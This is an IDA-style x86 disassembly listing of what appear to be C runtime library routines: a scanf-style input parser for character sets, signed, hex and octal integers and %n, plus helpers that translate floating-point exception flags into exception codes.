loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi

loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5

loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C2F8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al

loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C504
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------

loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi

loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1

loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------

loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58

loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------

loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax

loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx

loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F

loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C504, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------

loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------

loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C504, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------

loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280

loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F

loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------

loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------

loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D

loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C504, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------

loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C504, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------

loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D

loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------

loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi

loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0

loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]

loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di

loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------

loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C2F8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]

loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax

loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------

loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h

loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D

loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------

loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]

loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------

loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CC70, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB278, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h

loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CC70, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------

loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------

loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------

loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx

loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2650444h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh

loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh

loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h

loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh

loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh

loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------

loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx

loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------

loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------

loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx

loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
